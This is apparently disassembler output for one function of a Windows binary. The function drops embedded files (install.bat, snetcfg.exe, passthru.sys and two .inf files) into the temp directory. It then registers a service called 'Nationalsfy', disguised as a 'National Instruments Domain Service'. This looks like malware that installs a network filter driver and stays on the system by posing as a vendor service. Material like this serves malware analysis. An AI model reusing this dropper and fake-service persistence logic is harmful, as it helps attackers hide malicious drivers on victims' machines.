Function at 0x4028a0
Capabilities:
Create thread
Get common file path
Terminate process
Terminate thread

Disassembly:
mov al, byte [0x40d2d5]
sub esp, 0x610
push ebx
xor ebx, ebx
push ebp
mov ebp, dword [0x410618]
cmp al, bl
je 0x4028d8
push 0x24
push 0x40d45c
push 0x40d414
push ebx
call ebp
cmp eax, 7
jne 0x4028d8
call fcn.00402250
push ebx
call fcn.00405a3b
cmp byte [0x40d2d4], bl
je 0x402be0
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x121]
mov byte [esp + 0x120], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x421]
mov byte [esp + 0x420], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x321]
mov byte [esp + 0x320], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x521]
mov byte [esp + 0x520], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x120]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x220]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x420]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x320]
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x520]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x120]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._netsf.inf
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x220]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._netsf_m.inf
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x420]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.install.bat
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
push str.DRIVER
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x324]
and ecx, 3
push 0x66
rep movsb byte es:[edi], byte [esi]
mov edi, str._snetcfg.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x528]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.passthru.sys
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x428]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00402690
push str.DRIVER
lea ecx, [esp + 0x130]
push 0x67
push ecx
call fcn.00402690
push str.DRIVER
lea edx, [esp + 0x23c]
push 0x68
push edx
call fcn.00402690
push str.DRIVER
lea eax, [esp + 0x348]
push 0x65
push eax
call fcn.00402690
push str.DRIVER
lea ecx, [esp + 0x554]
push 0x69
push ecx
call fcn.00402690
add esp, 0x3c
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x402740
push ebx
push ebx
call edi
mov esi, eax
push ebx
push ebx
push ebx
push 0x402840
push ebx
push ebx
call edi
push 0xffffffffffffffff
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
call 0x402c60
test eax, eax
je 0x402c19
lea edx, [esp + 8]
mov dword [esp + 8], str.Nationalsfy
push edx
mov dword [esp + 0x10], 0x4023d0
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
call dword [0x4105f8]
pop ebp
xor eax, eax
pop ebx
add esp, 0x610
ret 0x10
push str.Providesejc_a_domain_server_for_NI_security.
push str.Nationalmkg_Instruments_Domain_Service
push str.Nationalsfy
call fcn.00402d00
mov eax, dword [0x410648]
add esp, 0xc
cmp eax, ebx
je 0x402c0c
cmp byte [0x40d2d5], bl
je 0x402c4f
push ebx
push 0x40d3b8
push 0x40d3a0
push ebx
call ebp
call fcn.00402250
push ebx
call fcn.00405a3b
nop
nop
nop
nop
nop
nop
sub esp, 0x108
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Nationalsfy
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0xf003f
lea ecx, [esp + 0x18]
push 0
push ecx
push connect
call dword [0x4105fc]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x108
ret